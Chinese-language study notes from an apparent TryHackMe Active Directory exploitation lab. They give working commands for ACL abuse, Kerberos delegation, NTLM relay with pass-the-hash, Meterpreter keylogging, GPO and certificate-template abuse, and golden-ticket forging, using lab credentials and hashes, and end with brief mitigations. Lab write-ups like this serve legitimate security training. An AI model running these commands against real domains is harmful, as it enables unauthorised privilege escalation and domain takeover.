AD Exploitation学习
字数 1358 2025-08-22 18:37:14
Active Directory Exploitation 攻击技术详解
0x01 AD Exploitation 概述
在完成对目标AD网络的内部侦察(AD枚举操作)后,攻击者进入漏洞利用阶段。本阶段主要利用错误的AD配置执行横向移动和权限提升操作,包括以下技术:
- AD Delegation (AD委派机制)
- Forcing Authentication Relays (强制身份认证中继)
- Group Policy Objects (组策略对象)
- Targeting AD Users (针对AD用户)
- Domain Trusts (域信任)
- Silver and Golden Tickets (银票和金票)
0x02 权限委派攻击
权限委派机制
AD通过权限委派特性委派权限和特权,使企业组织能够高效运作。但错误配置可能导致严重安全问题。
关键ACE(访问控制条目)
| ACE类型 | 利用方式 |
|---|---|
| ForceChangePassword | 强制更改用户密码 |
| AddMembers | 向目标组添加成员 |
| GenericAll | 完全控制对象 |
| GenericWrite | 更新对象参数 |
| WriteOwner | 更改对象所有者 |
| WriteDACL | 修改DACL |
| AllExtendedRights | 执行扩展AD权限操作 |
实战案例
- 利用GenericWrite:将初始账户添加到IT Support组
Add-ADGroupMember "IT Support" -Members "phillip.wilkins"
Get-ADGroupMember -Identity "IT Support" | findstr "phillip.wilkins"
- 利用ForceChangePassword:重置Tier 2 Admins组成员密码
$Password = ConvertTo-SecureString "My.New.pass123" -AsPlainText -Force
Set-ADAccountPassword -Identity "t2_ross.bird" -Reset -NewPassword $Password
0x03 Kerberos委派攻击
委派类型
- 非约束性委派:不安全,存储用户TGT
- 约束性委派:限制可委派的服务
- 基于资源的约束性委派(RBCD):服务控制谁可委派给它
约束性委派利用
- 枚举可委派账户:
Import-Module C:\Tools\PowerView.ps1
Get-NetUser -TrustedToAuth
- 获取服务账户凭据:
Get-CimInstance -ClassName Win32_Service | Where-Object { $_.StartName -like 'svcIIS*' } | Select-Object *
- 使用Kekeo生成票据:
tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@
tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc
- 使用Mimikatz导入票据:
kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
0x04 强制身份认证中继(NTLM Relay)
攻击条件
- 有效的AD账户凭据
- 目标SMB服务网络连接
- 目标运行Print Spooler服务
- 目标不强制SMB签名
攻击步骤
- 设置NTLM中继:
python /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -smb2support -t smb://"10.200.83.201" -debug
- 强制认证:
.\SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"
- 获取哈希后Pass-the-Hash:
evil-winrm -i <THMSERVER1-ip> -u ServerAdmin -H 3279a0c6dfe15dc3fb6e9c26dd9b066c
0x05 针对AD用户的攻击
凭据查找
- 查找.kdbx (KeePass)数据库文件
- 使用kpcli打开数据库:
kpcli
open PasswordDatabase.kdbx
show -f -a PasswordDatabase/General/svcServMan
键盘监控
- 使用Meterpreter键盘记录器:
keyscan_start
keyscan_dump
keyscan_stop
0x06 组策略对象(GPO)攻击
攻击步骤
- 使用runas注入服务账户凭据:
runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe
-
修改GPO添加IT Support组到本地管理员组
-
等待15分钟策略应用后RDP连接:
xfreerdp /d:za.tryhackme.loc /u:'phillip.wilkins' /p:'Developmental1971' /v:thmserver2.za.tryhackme.loc /cert:ignore +clipboard /smart-sizing
0x07 AD证书服务攻击
攻击步骤
- 查找易受攻击证书模板:
certutil -Template -v > templates.txt
-
请求个人证书并指定管理员UPN
-
导出含私钥的证书
-
使用Rubeus请求TGT:
.\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:C:\Users\phillip.wilkins\Desktop\fyhypocert.pfx /password:fyhypo666 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.83.101
- 使用Mimikatz导入票据:
kerberos::ptt administrator.kirbi
0x08 域信任关系攻击
黄金票据攻击
- 获取KRBTGT哈希:
lsadump::dcsync /user:za\krbtgt
- 获取SID信息:
Get-ADComputer -Identity "THMDC"
Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc
- 生成黄金票据:
kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt
0x09 缓解措施
- 确保AD配置符合分层模型
- 权限委派遵循最小特权原则
- 强制而非仅启用SMB签名
- 保护AD服务如AD CS
- 特别保护Tier 0基础设施和账户